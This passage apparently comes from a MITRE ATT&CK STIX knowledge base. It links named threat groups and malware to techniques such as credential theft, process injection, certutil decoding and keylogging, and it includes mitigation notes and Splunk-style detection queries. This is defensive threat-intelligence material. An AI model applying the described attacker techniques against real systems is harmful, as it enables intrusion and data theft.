2020."}],"modified":"2020-05-21T21:31:34.268Z","description":"[Pony](https://attack.mitre.org/software/S0453) has sent collected information to the C2 via HTTP POST request.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.036Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used certutil -decode to decode files on the victim’s machine when dropping [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6e374d3-1de7-4f5e-8fce-42cc326886bc","type":"relationship","created":"2021-10-13T13:00:59.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-13T13:00:59.084Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) has used rundll32 to execute a malicious DLL.(Citation: SentinelOne NobleBaron June 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T02:11:01.387Z","description":"If an initial connectivity check fails, [pngdowner](https://attack.mitre.org/software/S0067) attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--800bdfba-6d66-480f-9f45-15845c05cb5d","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6e6f751-5c93-4a31-afdc-78513aaea15a","type":"relationship","created":"2020-02-27T17:55:27.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-05T16:07:03.955Z","description":"Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6e77d6e-a76d-446c-a8ac-03b48892b7cb","type":"relationship","created":"2020-02-20T22:06:41.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T22:06:41.878Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6e883cf-6276-47c1-a4a3-be2756d510a2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.869Z","description":"[JPIN](https://attack.mitre.org/software/S0201) checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6ea2a1c-dfe9-4599-812a-d1f846fb775b","created":"2024-08-26T18:14:30.291Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:14:30.291Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) delivers encrypted payloads in pieces that are then combined together to form a new portable executable (PE) file during installation.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6f0c9d2-ae40-4dee-9231-4f6fa3d87b00","type":"relationship","created":"2020-03-13T13:51:58.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T13:51:58.704Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6f27258-cf6a-4d75-a3f0-5de085d528d2","type":"relationship","created":"2019-07-17T15:45:37.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.","source_name":"Microsoft LSA"}],"modified":"2021-07-20T23:03:00.799Z","description":"\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6f2748c-49ec-4027-8b29-4fee3128cc2e","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:21:42.850Z","description":"Monitor for files created in unusual directories or files with suspicious extensions. Focus on common locations like the Downloads folder, Temp directories, or the user’s Desktop, especially files that would be of interest from spearphishing attachments.\n\nWhile batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\\Windows\\System32 directory tree. There will be only occasional false positives due to administrator actions.\n\nFor MacOS, utilities that work in concert with Apple’s Endpoint Security Framework such as File Monitor can be used to track file creation events.\n\nAnalytic 1 - Batch File Write to System32\n\n (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"11\") file_path=\"*system32*\" AND file_extension=\".bat\"\n\nAnalytic 2 - New file creation in unusual directories.\n\nsourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11\n| search file_path IN (\"*/Downloads/*\", \"*/Temp/*\", \"*/Desktop/*\")\n| stats count by file_name file_extension file_path user\n| where file_extension IN (\"doc\", \"docx\", \"pdf\", \"xls\", \"rtf\", \"exe\", \"scr\", \"lnk\", \"pif\", \"cpl\", \"zip\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6f8439f-bf5a-4e57-8ae5-758e5097a0ff","created":"2024-08-01T22:29:02.680Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:29:02.680Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) can capture screenshots from victim systems.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6fe230f-9e76-46a5-a235-2990009d8c4a","type":"relationship","created":"2020-07-15T19:02:25.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-08-14T14:25:53.816Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used ZwQueueApcThread to inject itself into remote processes.(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6ff725c-1c60-44dd-8f78-22f1b009bbb5","created":"2022-10-11T15:48:31.541Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T15:48:31.541Z","description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7005b59-48e5-4852-90f7-ed8d2c3698fa","created":"2023-06-29T18:35:55.266Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-29T18:35:55.266Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use up to 10 channels to communicate between implants.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a700e6c3-ee0a-4eb9-9f1a-4ce741d04837","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:07:00.744Z","description":"Monitor for newly executed processes with arguments that may try to get information about registered services. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). For event id 4688, depending on Windows version, you might need to enable Administrative Templates\\System\\Audit Process Creation\\Include command line in process creation events group policy to include command line in process creation events.\n\nAnalytic 1 - Suspicious Processes\n\n((sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") OR (sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") \n| WHERE ((CommandLine LIKE \"%sc%\" AND CommandLine LIKE \"%query%\") OR \n (CommandLine LIKE \"%tasklist%\" AND CommandLine LIKE \"%/svc%\") OR\n (CommandLine LIKE \"%systemctl%\" AND CommandLine LIKE \"%--type=service%\") OR\n (CommandLine LIKE \"%net%\" AND CommandLine LIKE \"%start%\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7018df5-2a56-4731-ba57-5fe4ac73bac6","created":"2021-10-01T01:57:31.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T19:52:11.166Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has enumerated the host machine’s IP address.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a70a6fbd-379d-4104-8323-ce25a950c892","type":"relationship","created":"2019-01-29T21:40:37.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-20T22:39:14.412Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a70bd01d-1d79-44e7-afe4-3a83e5a8d70c","created":"2019-09-24T12:53:12.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.865Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has enumerated IP addresses of network resources and used the netstat command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"},{"url":"https://securelist.com/games-are-over/70991/","description":"Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.","source_name":"Kaspersky Winnti June 2015"}],"modified":"2019-03-25T17:15:03.485Z","description":"(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a70ec2cc-5eeb-41c3-8dd3-2816a9010104","created":"2019-08-26T15:27:12.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EST Kimsuky April 2019","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.","url":"https://blog.alyac.co.kr/2234"},{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.415Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes.(Citation: EST Kimsuky April 2019)(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.517Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a713d0d3-2897-4da2-995f-df3a40f04b29","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.445Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a714680b-edab-459c-bb8f-cc313cfc4372","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor newly executed processes that may abuse Microsoft Office templates to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2019-07-25T14:25:53.493Z","description":"(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--cbf646f1-7db5-4dc6-808b-0094313949df","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a71e213d-1e14-4ac6-8d93-97c180ac8502","created":"2024-09-06T21:56:08.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). 